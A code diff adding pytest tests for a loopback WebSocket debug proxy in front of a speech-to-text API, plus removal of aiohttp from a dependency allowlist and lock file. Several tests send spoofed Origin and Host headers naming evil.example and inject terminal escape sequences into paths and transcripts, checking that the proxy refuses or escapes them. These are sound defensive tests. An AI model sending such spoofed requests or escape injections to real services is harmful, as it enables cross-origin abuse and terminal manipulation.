+    digest = hashlib.sha256(b"".join(f for f in frames if isinstance(f, bytes)))
+    assert (
+        digest.hexdigest()
+        == hashlib.sha256(
+            b"".join(f for f in up.received if isinstance(f, bytes))
+        ).hexdigest()
+    )
+
+    (headers,) = up.handshakes
+    assert headers.get_all("Authorization") == [f"Token {KEY}"]
+    assert "Sec-WebSocket-Protocol" not in headers
+    assert up.paths == ["/v1/listen?encoding=linear16&x=%20y"]
+
+    (stats,) = proxy.connections
+    assert stats.path == "/v1/listen"
+    assert stats.stream_type == "stt"
+    assert stats.frames_sent == 6
+    assert stats.text_frames_sent == 1
+    assert stats.text_frames_received == 2
+    assert stats.frames_received == 6
+    assert stats.transcripts == ["fake words"]
+    assert len(stats.audio_buffer) == ProbeProxy.MAX_BUFFER_BYTES
+
+    out = capsys.readouterr()
+    assert KEY not in out.out + out.err
+
+
+@pytest.mark.parametrize(
+    "origin",
+    [None, "http://localhost:5173", "https://127.0.0.1", "http://[::1]:8080"],
+)
+def test_loopback_or_no_origin_is_accepted(origin):
+    async def main() -> int:
+        async with FakeUpstream() as up, Proxy(up) as px:
+            extra = {"Origin": origin} if origin else {}
+            status, _ = await _status(px.port, _upgrade(px.port, **extra))
+            return status
+
+    assert asyncio.run(main()) == 101
+
+
+@pytest.mark.parametrize(
+    "headers",
+    [
+        {"Origin": "https://evil.example"},
+        {"Origin": "null"},
+        {"Origin": "http://localhost.evil.example"},
+        {"Origin": "file://"},
+        {"Origin": "http://localhost:"},
+        {"Origin": "http://local\thost:5173"},
+        {"Host": "evil.example:{port}"},
+        {"Host": "127.0.0.1:1"},
+    ],
+    ids=lambda h: "-".join(f"{k}={v}" for k, v in h.items()),
+)
+def test_refused_before_any_upstream_connection(headers, capsys):
+    async def main() -> tuple[int, bytes, FakeUpstream]:
+        async with FakeUpstream() as up, Proxy(up) as px:
+            extra = {k: v.format(port=px.port) for k, v in headers.items()}
+            status, body = await _status(px.port, _upgrade(px.port, **extra))
+            return status, body, up
+
+    status, body, up = asyncio.run(main())
+    assert (status, body) == (403, b"Forbidden.\n")
+    assert up.handshakes == []
+    out = " ".join(capsys.readouterr().out.split())  # rich wraps at 80 columns
+    if "Origin" in headers:
+        shown = headers["Origin"].replace("\t", "\\x09")
+        assert (
+            f"Refused a connection from {shown}: "
+            "only pages on this machine can connect." in out
+        )
+
+
+def test_absolute_form_target_gets_400():
+    async def main() -> tuple[int, FakeUpstream]:
+        async with FakeUpstream() as up, Proxy(up) as px:
+            status, _ = await _status(
+                px.port, _upgrade(px.port, target="http://evil.example/v1/listen")
+            )
+            return status, up
+
+    status, up = asyncio.run(main())
+    assert status == 400
+    assert up.handshakes == []
+
+
+def test_plain_get_and_other_methods_are_refused(caplog):
+    caplog.set_level(logging.DEBUG)
+
+    async def main() -> list[int]:
+        async with FakeUpstream() as up, Proxy(up) as px:
+            plain = f"GET /v1/listen HTTP/1.1\r\nHost: 127.0.0.1:{px.port}\r\n\r\n"
+            post = plain.replace("GET", "POST", 1)
+            statuses = [(await _status(px.port, r))[0] for r in (plain, post)]
+            assert up.handshakes == []
+            return statuses
+
+    plain, post = asyncio.run(main())
+    assert plain == 400
+    # 405 from the proxy on websockets 17; older versions close without a reply
+    assert post in (0, 405)
+    assert "Traceback" not in caplog.text
+
+
+def test_markup_in_the_path_prints_literally(capsys):
+    async def main() -> None:
+        async with FakeUpstream() as up, Proxy(up) as px:
+            url = f"ws://127.0.0.1:{px.port}/v1/listen[bold]x"
+            ws = await connect(url)
+            await ws.recv()
+            await ws.close()
+
+    asyncio.run(main())
+    assert "path=/v1/listen[bold]x" in capsys.readouterr().out
+
+
+def test_upstream_401_reports_and_keeps_serving(capsys, caplog):
+    caplog.set_level(logging.DEBUG)
+
+    async def main() -> list[tuple[int | None, str | None]]:
+        closes = []
+        async with FakeUpstream(status=401) as up, Proxy(up) as px:
+            for _ in range(2):
+                async with connect(f"ws://127.0.0.1:{px.port}/v1/listen") as ws:
+                    with pytest.raises(ConnectionClosed):
+                        await ws.recv()
+                    closes.append((ws.protocol.close_code, ws.protocol.close_reason))
+            assert len(up.handshakes) == 2
+        return closes
+
+    assert asyncio.run(main()) == [(1000, ""), (1000, "")]
+    out = capsys.readouterr()
+    assert out.out.count("Upstream connection failed") == 2
+    assert "HTTP 401" in out.out
+    for text in (out.out, out.err, caplog.text):
+        assert KEY not in text
+
+
+def test_key_never_logged_at_debug(caplog, capsys):
+    caplog.set_level(logging.DEBUG)
+
+    async def main() -> None:
+        async with (
+            FakeUpstream() as up,
+            Proxy(up) as px,
+            connect(f"ws://127.0.0.1:{px.port}/v1/listen") as ws,
+        ):
+            await ws.recv()
+            await ws.send(b"\x00" * 64)
+            await ws.recv()
+
+    asyncio.run(main())
+    out = capsys.readouterr()
+    for text in (out.out, out.err, caplog.text):
+        assert KEY not in text
+        assert KEY[-4:] not in text
+
+
+def test_listens_on_ipv4_loopback_only():
+    async def main() -> list[tuple[int, str]]:
+        async with FakeUpstream() as up, Proxy(up) as px:
+            return [(s.family, s.getsockname()[0]) for s in px.server.sockets]
+
+    import socket
+
+    assert asyncio.run(main()) == [(socket.AF_INET, "127.0.0.1")]
+
+
+def test_run_stops_on_event_and_on_cancel_after_summaries(capsys):
+    """`run` returns when `_stop` is set; cancelling it (Ctrl+C) closes the
+    listener and waits for open connections to finish their summaries."""
+
+    async def main() -> ProbeProxy:
+        async with FakeUpstream() as up:
+            proxy = ProbeProxy(api_key=KEY)
+            proxy._upstream_base = f"ws://127.0.0.1:{up.port}"
+            with __import__("socket").socket() as s:
+                s.bind(("127.0.0.1", 0))
+                port = s.getsockname()[1]
+
+            task = asyncio.ensure_future(proxy.run(port))
+            for _ in range(100):
+                try:
+                    ws = await connect(f"ws://127.0.0.1:{port}/v1/listen")
+                    break
+                except OSError:
+                    await asyncio.sleep(0.02)
+            await ws.recv()
+            await ws.send(b"\x00" * 1000)
+            await ws.recv()
+            task.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await task
+            assert ws.protocol.close_code is not None
+
+            proxy._stop = asyncio.Event()
+            task = asyncio.ensure_future(proxy.run(port))
+            await asyncio.sleep(0.05)
+            proxy._stop.set()
+            await asyncio.wait_for(task, 10)
+            return proxy
+
+    proxy = asyncio.run(main())
+    (stats,) = proxy.connections
+    assert stats.duration_seconds is not None
+    out = capsys.readouterr().out
+    assert "Connection closed" in out
+    assert "Sent: 1,000 bytes (1 binary, 0 text frames)" in out
+
+
+async def _raw_status(port: int, data: bytes) -> int:
+    """Status of a raw request; 0 if the server closed without a response."""
+    reader, writer = await asyncio.open_connection("127.0.0.1", port)
+    writer.write(data)
+    await writer.drain()
+    line = await asyncio.wait_for(reader.readline(), 10)
+    writer.close()
+    return int(line.split()[1]) if line else 0
+
+
+def test_non_ascii_origin_does_not_wedge_the_console(monkeypatch):
+    """A strict UTF-8 stdout (a UTF-8 terminal) and a raw non-ASCII Origin
+    byte: the refusal still prints, and later connections still work."""
+    import io
+
+    from deepctl_cmd_debug_probe import proxy as proxymod
+    from rich.console import Console
+
+    out = io.BytesIO()
+    strict = io.TextIOWrapper(out, encoding="utf-8", errors="strict")
+    monkeypatch.setattr(
+        proxymod, "console", Console(file=strict, width=200, force_terminal=False)
+    )
+
+    async def main() -> tuple[list[int], str | bytes]:
+        async with FakeUpstream() as up, Proxy(up) as px:
+            hostile = (
+                _upgrade(px.port)
+                .encode("latin-1")
+                .replace(
+                    b"\r\n\r\n",
+                    b"\r\nOrigin: https://evil.example/\xff\x9b[bold]\r\n\r\n",
+                )
+            )
+            bad_path = _upgrade(px.port, target="/v1/listen\xff\x1b[2J").encode(
+                "latin-1"
+            )
+            statuses = [
+                await _raw_status(px.port, hostile),
+                await _raw_status(px.port, bad_path),
+            ]
+            async with connect(f"ws://127.0.0.1:{px.port}/v1/listen") as ws:
+                first = await asyncio.wait_for(ws.recv(), 10)
+            evil = _upgrade(px.port, Origin="https://evil.example").encode("latin-1")
+            statuses.append(await _raw_status(px.port, evil))
+            assert up.handshakes
+            return statuses, first
+
+    statuses, first = asyncio.run(main())
+    # websockets 17 refuses a non-ASCII target itself; older ones accept it
+    assert statuses[0] == statuses[2] == 403
+    assert statuses[1] in (0, 101)
+    assert first == RESULTS
+    strict.flush()
+    text = out.getvalue().decode("ascii")  # nothing but ASCII reached it
+    assert "Refused a connection from https://evil.example/\\" in text
+    if statuses[1] == 101:
+        assert "path=/v1/listen\\" in text
+        assert "\\x1b[2J" in text
+
+
+@pytest.mark.parametrize(
+    ("port", "host", "allowed"),
+    [
+        (80, "localhost", True),
+        (80, "127.0.0.1", True),
+        (80, "LOCALHOST:80", True),
+        (80, "evil.example", False),
+        (3100, "localhost", False),
+        (3100, "127.0.0.1", False),
+        (3100, "localhost:3100", True),
+    ],
+)
+def test_bare_host_only_on_port_80(port, host, allowed):
+    """On port 80 the browser sends the Host without a port."""
+    from websockets.datastructures import Headers
+    from websockets.http11 import Request
+
+    class Conn:
+        local_address = ("127.0.0.1", port)
+
+        def respond(self, status: int, text: str) -> int:
+            return status
+
+    request = Request(
+        "/v1/listen",
+        Headers(
+            [("Host", host), ("Upgrade", "websocket"), ("Origin", "http://localhost")]
+        ),
+    )
+    result = ProbeProxy(api_key=KEY).process_request(Conn(), request)  # type: ignore[arg-type]
+    assert result == (None if allowed else 403)
+
+
+def test_access_policy():
+    from deepctl_cmd_debug_probe.access import printable, refusal_reason, untrusted
+
+    def reason(origin: str | None, host: str = "127.0.0.1:3100") -> str | None:
+        return refusal_reason([host], [origin] if origin else [], 3100)
+
+    for ok in (
+        None,
+        "http://localhost",
+        "HTTPS://[::1]:8443",
+        "http://127.0.0.1:99999",
+    ):
+        assert reason(ok) is None, ok
+    for bad in (
+        "null",
+        "http://localhost:",
+        "http://localhost/",
+        "http://localhost?",
+        "http://localhost#",
+        "http://local\thost",
+        "http://localhost.evil.example",
+        "ws://localhost",
+        "http://[::1%25eth0]",
+    ):
+        assert reason(bad) == "origin", bad
+    assert reason(None, "127.0.0.1:3101") == "host"
+    assert refusal_reason(["127.0.0.1:3100"] * 2, [], 3100) == "host"
+    assert refusal_reason([], [], 3100) == "host"
+    assert printable("a[b]\x1b\x9b\udcff\u00e9") == "a[b]\\x1b\\x9b\\udcff\\xe9"
+    assert untrusted("[bold]:smile:\\\\\\").plain == "[bold]:smile:\\\\\\"
+
+
+def _fake_ffprobe(tmp_path: Any, body: str) -> str:
+    """An executable that runs `body` (Python) and prints an empty probe."""
+    import os
+    import sys
+
+    path = tmp_path / "ffprobe"
+    path.write_text(
+        f"#!{sys.executable}\nimport signal, sys, time\n{body}\nprint('{{}}')\n"
+    )
+    os.chmod(path, 0o755)
+    return str(path)
+
+
+class _DeafUpstream:
+    """Completes the handshake, then never reads again (ignores close)."""
+
+    async def __aenter__(self) -> _DeafUpstream:
+        import base64
+
+        async def handle(reader: Any, writer: Any) -> None:
+            head = await reader.readuntil(b"\r\n\r\n")
+            key = next(
+                line.split(b":", 1)[1].strip()
+                for line in head.split(b"\r\n")
+                if line.lower().startswith(b"sec-websocket-key:")
+            )
+            accept = base64.b64encode(
+                hashlib.sha1(key + b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11").digest()
+            )
+            writer.write(
+                b"HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\n"
+                b"Connection: Upgrade\r\nSec-WebSocket-Accept: " + accept + b"\r\n\r\n"
+            )
+            self.writers.append(writer)
+            await asyncio.sleep(3600)
+
+        self.writers: list[Any] = []
+        self.server = await asyncio.start_server(handle, "127.0.0.1", 0)
+        self.port = self.server.sockets[0].getsockname()[1]
+        return self
+
+    async def __aexit__(self, *exc: object) -> None:
+        for w in self.writers:
+            w.transport.abort()
+        self.server.close()
+
+
+def test_snapshots_do_not_block_the_loop_and_stop_waits_for_summaries(
+    monkeypatch, capsys, tmp_path
+):
+    """ffprobe runs off the loop: while one connection's snapshot runs,
+    another is relayed, and a stop during the snapshot still ends with that
+    connection's summary."""
+    import time
+
+    from deepctl_cmd_debug_probe import proxy as proxymod
+
+    marker = tmp_path / "started"
+    monkeypatch.setattr(
+        proxymod,
+        "get_ffprobe_path",
+        lambda _config=None: _fake_ffprobe(
+            tmp_path, f"open({str(marker)!r}, 'w').close(); time.sleep(1.5)"
+        ),
+    )
+
+    async def main() -> tuple[float, ProbeProxy]:
+        async with FakeUpstream() as up:
+            proxy = ProbeProxy(api_key=KEY, probe_interval_bytes=1)
+            proxy._upstream_base = f"ws://127.0.0.1:{up.port}"
+            server = await proxy.start(0)
+            port = next(iter(server.sockets)).getsockname()[1]
+            server.close()
+            await server.wait_closed()
+            task = asyncio.ensure_future(proxy.run(port))
+            await asyncio.sleep(0.2)
+            a = await connect(f"ws://127.0.0.1:{port}/v1/listen")
+            await a.recv()
+            await a.send(b"\x00" * 100)  # starts a 1.5 s snapshot
+            while not marker.exists():
+                await asyncio.sleep(0.01)
+            t0 = time.monotonic()
+            b = await connect(f"ws://127.0.0.1:{port}/v1/listen")
+            await b.recv()
+            await b.send("ping")
+            assert await b.recv() == "ping"
+            relayed_in = time.monotonic() - t0
+            for _ in range(30):  # a backlog: 30 more 1.5 s snapshots if drained
+                await a.send(b"\x00" * 100)
+            proxy._stop.set()  # what the first Ctrl+C does, mid-snapshot
+            await asyncio.wait_for(task, 10)
+            return relayed_in, proxy
+
+    relayed_in, proxy = asyncio.run(main())
+    assert relayed_in < 1.0
+    assert all(c.duration_seconds is not None for c in proxy.connections)
+    out = capsys.readouterr().out
+    assert out.count("Connection closed") == 2
+    assert "Not forwarded (arrived while stopping): 3,000 bytes (30 frames)" in out
+
+
+def test_abort_ends_connections_without_waiting_for_close_timeout(capsys):
+    """The second Ctrl+C: an upstream that never answers the close no longer
+    holds shutdown for close_timeout (30 s)."""
+    import time
+
+    async def main() -> float:
+        async with _DeafUpstream() as up:
+            proxy = ProbeProxy(api_key=KEY)
+            proxy._upstream_base = f"ws://127.0.0.1:{up.port}"
+            server = await proxy.start(0)
+            port = next(iter(server.sockets)).getsockname()[1]
+            server.close()
+            await server.wait_closed()
+            task = asyncio.ensure_future(proxy.run(port))
+            await asyncio.sleep(0.2)
+            ws = await connect(f"ws://127.0.0.1:{port}/v1/listen")
+            await ws.send(b"\x00" * 10)
+            await asyncio.sleep(0.3)
+            proxy._stop.set()
+            await asyncio.sleep(1)
+            assert not task.done()  # waiting on the deaf upstream's close
+            t0 = time.monotonic()
+            proxy.abort()
+            await asyncio.wait_for(task, 10)
+            return time.monotonic() - t0
+
+    assert asyncio.run(main()) < 3
+    assert "Connection closed" in capsys.readouterr().out
+
+
+def test_abort_during_upstream_handshake():
+    async def main() -> ProbeProxy:
+        async def never(reader: Any, writer: Any) -> None:
+            await reader.read()  # never answers; ends when the proxy hangs up
+            writer.close()
+
+        hang = await asyncio.start_server(never, "127.0.0.1", 0)
+        proxy = ProbeProxy(api_key=KEY)
+        proxy._upstream_base = f"ws://127.0.0.1:{hang.sockets[0].getsockname()[1]}"
+        server = await proxy.start(0)
+        port = next(iter(server.sockets)).getsockname()[1]
+        server.close()
+        await server.wait_closed()
+        task = asyncio.ensure_future(proxy.run(port))
+        await asyncio.sleep(0.2)
+        ws = await connect(f"ws://127.0.0.1:{port}/v1/listen")
+        await asyncio.sleep(0.3)
+        proxy.abort()
+        await asyncio.wait_for(task, 5)
+        await ws.close()
+        hang.close()
+        return proxy
+
+    proxy = asyncio.run(main())
+    assert proxy.connections[0].duration_seconds is not None
+
+
+def test_second_stop_kills_a_running_ffprobe_and_skips_the_final_probe(
+    monkeypatch, capsys, tmp_path
+):
+    """abort() during a snapshot: ffprobe (here one that ignores SIGTERM) is
+    killed within about a second, and no final probe starts."""
+    import time
+
+    from deepctl_cmd_debug_probe import proxy as proxymod
+
+    runs = tmp_path / "runs"
+    runs.mkdir()
+    monkeypatch.setattr(
+        proxymod,
+        "get_ffprobe_path",
+        lambda _config=None: _fake_ffprobe(
+            tmp_path,
+            "signal.signal(signal.SIGTERM, signal.SIG_IGN)\n"
+            f"open({str(runs)!r} + '/%d' % time.time_ns(), 'w').close()\n"
+            "time.sleep(30)",
+        ),
+    )
+
+    async def main() -> float:
+        async with FakeUpstream() as up:
+            proxy = ProbeProxy(api_key=KEY, probe_interval_bytes=1)
+            proxy._upstream_base = f"ws://127.0.0.1:{up.port}"
+            server = await proxy.start(0)
+            port = next(iter(server.sockets)).getsockname()[1]
+            server.close()
+            await server.wait_closed()
+            task = asyncio.ensure_future(proxy.run(port))
+            await asyncio.sleep(0.2)
+            ws = await connect(f"ws://127.0.0.1:{port}/v1/listen")
+            await ws.recv()
+            await ws.send(b"\x00" * 100)
+            while not any(runs.iterdir()):
+                await asyncio.sleep(0.01)
+            proxy._stop.set()
+            await asyncio.sleep(0.2)
+            t0 = time.monotonic()
+            proxy.abort()
+            await asyncio.wait_for(task, 5)
+            return time.monotonic() - t0
+
+    elapsed = asyncio.run(main())
+    assert elapsed < 1.5
+    assert len(list(runs.iterdir())) == 1  # no final probe
+    assert "Connection closed" in capsys.readouterr().out
+
+
+def test_transcripts_print_literally_and_keep_unicode(capsys):
+    from deepctl_cmd_debug_probe.models import ProbeConnectionStats
+
+    stats = ProbeConnectionStats(connection_id="1234abcd")
+    transcript = "[bold]x[/bold] :smile: \u3053\u3093\u306b\u3061\u306f\x1b[2J\x9b"
+    ProbeProxy(api_key=KEY)._parse_transcript(
+        json.dumps(
+            {
+                "is_final": True,
+                "channel": {"alternatives": [{"transcript": transcript}]},
+            }
+        ),
+        stats,
+    )
+    out = capsys.readouterr().out
+    assert "[bold]x[/bold] :smile: \u3053\u3093\u306b\u3061\u306f[2J" in out
+    assert "\x1b" not in out and "\x9b" not in out
+    assert stats.transcripts == [transcript]
+
+
+@pytest.mark.parametrize(
+    ("frames", "size", "line"),
+    [
+        (1, 1, "Not forwarded (arrived while stopping): 1 byte (1 frame)"),
+        (2, 1234, "Not forwarded (arrived while stopping): 1,234 bytes (2 frames)"),
+    ],
+)
+def test_not_forwarded_line_counts(frames, size, line, capsys):
+    from deepctl_cmd_debug_probe.models import ProbeConnectionStats
+
+    stats = ProbeConnectionStats(connection_id="1234abcd")
+    ProbeProxy(api_key=KEY)._print_connection_summary(stats, frames, size)
+    assert f"  {line}\n" in capsys.readouterr().out
+    ProbeProxy(api_key=KEY)._print_connection_summary(stats)
+    assert "Not forwarded" not in capsys.readouterr().out
diff --git a/tests/unit/dependency_allowlist.txt b/tests/unit/dependency_allowlist.txt
index ea295a41..e8a441c7 100644
--- a/tests/unit/dependency_allowlist.txt
+++ b/tests/unit/dependency_allowlist.txt
@@ -2,18 +2,14 @@
 # on any platform or Python version uv.lock covers (PEP 503 names, sorted).
 # Checked by tests/unit/test_dependency_allowlist.py. Adding a runtime
 # dependency, direct or transitive, means adding it here in the same PR.
-# numpy, ffmpeg-python and future were dropped in 0.5.0 and are refused
-# even if listed.
+# numpy, ffmpeg-python, future and aiohttp were dropped in 0.5.0 and are
+# refused even if listed.
 # Format: one name per line, optionally followed by flags. The only flag is
 # `floors-only`: the name is reached only when a dependency sits at its
 # declared floor (the lowest-direct CI job), not through uv.lock, and that
 # job checks it is really installed there. Text after "#" is a comment.
-aiohappyeyeballs
-aiohttp
-aiosignal
 annotated-types
 anyio
-async-timeout
 attrs
 backports-tarfile
 certifi
@@ -25,7 +21,6 @@ cryptography
 deepgram-captions
 deepgram-sdk
 exceptiongroup
-frozenlist
 h11
 httpcore
 httpx
@@ -43,10 +38,8 @@ markdown-it-py
 mcp
 mdurl
 more-itertools
-multidict
 packaging
 platformdirs
-propcache
 pycparser
 pydantic
 pydantic-core
@@ -75,5 +68,4 @@ typing-inspection
 urllib3
 uvicorn
 websockets
-yarl
 zipp
diff --git a/tests/unit/test_dependency_allowlist.py b/tests/unit/test_dependency_allowlist.py
index c2e24353..a479da4c 100644
--- a/tests/unit/test_dependency_allowlist.py
+++ b/tests/unit/test_dependency_allowlist.py
@@ -3,9 +3,9 @@
 Every distribution a plain `pip install deepctl` can pull in, on any
 platform or Python the lock covers, must be named in
 `dependency_allowlist.txt`. A new runtime dependency, direct or transitive,
-fails here until someone adds it on purpose. numpy, ffmpeg-python and future
-were dropped in 0.5.0 (the install diet) and must not come back, allowlisted
-or not.
+fails here until someone adds it on purpose. numpy, ffmpeg-python, future
+and aiohttp were dropped in 0.5.0 (the install diet) and must not come back,
+allowlisted or not.
 
 Two views of the closure are checked:
 
@@ -37,7 +37,7 @@
 ROOT_NAME = "deepctl"
 # Versioned on its own, the way an outside plugin would be.
 NOT_LOCKSTEP = {"deepctl-plugin-example"}
-FORBIDDEN = {"numpy", "ffmpeg-python", "future"}
+FORBIDDEN = {"numpy", "ffmpeg-python", "future", "aiohttp"}
 
 
 def normalize(name: str) -> str:
diff --git a/uv.lock b/uv.lock
index 4b9e3c2e..a786edc3 100644
--- a/uv.lock
+++ b/uv.lock
@@ -44,207 +44,6 @@ members = [
     "deepctl-telemetry",
 ]
 
-[[package]]
-name = "aiohappyeyeballs"
-version = "2.7.1"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/ce/f4/eec0465c2f67b2664688d0240b3212d5196fd89e741df67ddb81f8d35658/aiohappyeyeballs-2.7.1.tar.gz", hash = "sha256:065665c041c42a5938ed220bdcd7230f22527fbec085e1853d2402c8a3615d9d", size = 24757, upload-time = "2026-07-01T17:11:55.501Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/71/43/1947f06babed6b3f1d7f38b0c767f52df66bfb2bc10b468c4a7de9eceff2/aiohappyeyeballs-2.7.1-py3-none-any.whl", hash = "sha256:9243213661e29250eb41368e5daa826fc017156c3b8a11440826b2e3ed376472", size = 15038, upload-time = "2026-07-01T17:11:54.055Z" },
-]
-
-[[package]]
-name = "aiohttp"
-version = "3.14.4"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
-    { name = "aiohappyeyeballs" },
-    { name = "aiosignal" },
-    { name = "async-timeout", marker = "python_full_version < '3.11'" },
-    { name = "attrs" },
-    { name = "frozenlist" },
-    { name = "multidict" },
-    { name = "propcache" },
-    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
-    { name = "yarl" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/93/2f/6a91adaa2dc26877d6ed2f54c0370c8910f019db7d77c5c6a194611e93ea/aiohttp-3.14.4.tar.gz", hash = "sha256:831fc5bd39ec2517851e348f613ddb5447a47cf4b71cb09845af7ad7ed45d8f9", size = 8077839, upload-time = "2026-10-05T17:43:48.309Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/b3/08/290e4be6e3ed239751c446505c324406a4ae8a82a15009a12a3c550f18d9/aiohttp-3.14.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:dea3b3653c1d0d6babd8ce09cb9e5a7776864315d9cfb1c569f926389874a261", size = 834853, upload-time = "2026-10-05T17:37:45.079Z" },
-    { url = "https://files.pythonhosted.org/packages/81/81/ed5e04508ba1fcf9a34e0449c78009956e8256f62ebef708e2948594cf94/aiohttp-3.14.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:3099a389e5b5900fc79c6f613015ff3f8fa06a519744e6001cc68a31ba418cac", size = 560957, upload-time = "2026-10-05T17:37:47.497Z" },
-    { url = "https://files.pythonhosted.org/packages/90/28/1a91411c53704db0481cc64b0f0c9465aa9d738856abdcaa3a5bbbe18180/aiohttp-3.14.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:70247156fc76e92919f9aacb820556cb30289a54784299a31714d030bb604d84", size = 553475, upload-time = "2026-10-05T17:37:49.099Z" },
-    { url = "https://files.pythonhosted.org/packages/cf/2e/1038f3fa8832f9f4bed0f9f751f70dbc52bc4a09c66788f97bbfb0ce3d88/aiohttp-3.14.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fdf2d2a6ad402797422949f4a200a60d43e3a021695c8a7804aa1d5bbef22652", size = 1845211, upload-time = "2026-10-05T17:37:50.728Z" },
-    { url = "https://files.pythonhosted.org/packages/ea/54/e2253f17604c5c1c69a05e3c12400b51cd6a5fb32d7175592114d8c7a470/aiohttp-3.14.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ba835fad8d4b5eaea0d34f9461cf499737a720a5f8bc6768d2f6d98a1d3ba8b5", size = 1814629, upload-time = "2026-10-05T17:37:52.481Z" },
-    { url = "https://files.pythonhosted.org/packages/f1/ef/7bd1e45db925376720555d7268c2d642b113105263d37a522e41e1ba3a6c/aiohttp-3.14.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0d4415ca5c9c8b24bc2f5733f870d4eab4929e680203559ba60131dd1a27852a", size = 1898528, upload-time = "2026-10-05T17:37:54.078Z" },
-    { url = "https://files.pythonhosted.org/packages/5d/40/26d09668e7e0cadc16027566765aa4ce26e8a41276bad6764848c8b04d11/aiohttp-3.14.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f6757e02c2c2b0d7985f57be87cf4a7c5b35708f849e1feaea3f77656ddb9dff", size = 2024385, upload-time = "2026-10-05T17:37:55.626Z" },
-    { url = "https://files.pythonhosted.org/packages/73/38/0f1c4aab1cc9518e1bf874e2481e59e541b3e32330b9542e52bb2712f86f/aiohttp-3.14.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2a950bd8418ef54eccf5f9f517f08e37c1adab4bc50a470a0422ee1cc1032e29", size = 1859130, upload-time = "2026-10-05T17:37:57.342Z" },
-    { url = "https://files.pythonhosted.org/packages/5f/98/09d5998ba4b5fe9f0cb97d794fab9d1b3d8245c5ec6a5fb84e41a8cec142/aiohttp-3.14.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:34cf6f2fe4fc1d7183e8cc0d8c48bbdda828a740bc372d8278126149714d343c", size = 1714768, upload-time = "2026-10-05T17:37:58.831Z" },
-    { url = "https://files.pythonhosted.org/packages/c2/63/39d01a74d525d6443084d47ad4aa8c719f44a030149d03566f3761527465/aiohttp-3.14.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:bc0fbe4f79c3b156d754dd062718ffe404c3b31ca878d9d2b88ecdbc72ef8369", size = 1813228, upload-time = "2026-10-05T17:38:00.611Z" },
-    { url = "https://files.pythonhosted.org/packages/39/6b/183d7b969bdb7892e86af74147b4afedbb4e03b8cad5006e41aa2034c288/aiohttp-3.14.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:d3d50a5a07a2b31a4369b86dd4a3acf3c2577c45091dbd5e884b198dec56480b", size = 1831844, upload-time = "2026-10-05T17:38:02.272Z" },
-    { url = "https://files.pythonhosted.org/packages/2c/be/4c6df02b62083efd3f008974cf9016a4afd2023f5a9d2c3fd55499fcbac6/aiohttp-3.14.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:de15c46a63f46da881d219e44a04778c40114c756e5575b5ea38143b20eb3713", size = 1868738, upload-time = "2026-10-05T17:38:03.831Z" },
-    { url = "https://files.pythonhosted.org/packages/86/21/406be8b0cf1105a35a6a6da16a95796be39b354e29bfca0d1626d822835f/aiohttp-3.14.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:caa4c0fc9b25e8c679baac68337e9c00deb6baf6601fe6f07e8511469cc1ceba", size = 1700006, upload-time = "2026-10-05T17:38:05.631Z" },
-    { url = "https://files.pythonhosted.org/packages/4e/e6/beac98020ea0885ea1ee3b2ef59ec952405590fe2ccef2fa4ef7614c3c2b/aiohttp-3.14.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:3647f8c090632c70abb1e80826e4ee24faea3f895f0283b60e91a0b17aea5e34", size = 1889997, upload-time = "2026-10-05T17:38:07.578Z" },
-    { url = "https://files.pythonhosted.org/packages/c4/89/d608dd9571988a529c7fead5bc79ad36b56fd52bad7941f40774acbc87e9/aiohttp-3.14.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3f3e8030169843fb652a60a3d32c206e03f260198aa398985a48b41cd7e42f0a", size = 1844619, upload-time = "2026-10-05T17:38:10.003Z" },
-    { url = "https://files.pythonhosted.org/packages/7e/7d/7f51e6338d2c74b75173ee66fcb50d778d5407c32f34e76ef1c4b25d0d75/aiohttp-3.14.4-cp310-cp310-win32.whl", hash = "sha256:a1205cbdddfca1428129bb6d23e0b292b09e681df951fa828145d83a63ffc0ca", size = 489598, upload-time = "2026-10-05T17:38:11.795Z" },
-    { url = "https://files.pythonhosted.org/packages/33/2a/3434e450a4395fc07f3070d6ac24553f0b170b173e949216b1723395028c/aiohttp-3.14.4-cp310-cp310-win_amd64.whl", hash = "sha256:e90980e0454a043f81b435309a089ac5deab883779557eb58d004f33990f61e4", size = 512204, upload-time = "2026-10-05T17:38:13.309Z" },
-    { url = "https://files.pythonhosted.org/packages/53/c0/1d89303cf1bea5418268c1cb82b872661bad027e5fd785c2d30d0a31ee6f/aiohttp-3.14.4-cp310-cp310-win_arm64.whl", hash = "sha256:e63eecf9a4b670a24055d5c0486128af16f83b02d9817abd685d3238940f8752", size = 492725, upload-time = "2026-10-05T17:38:14.825Z" },
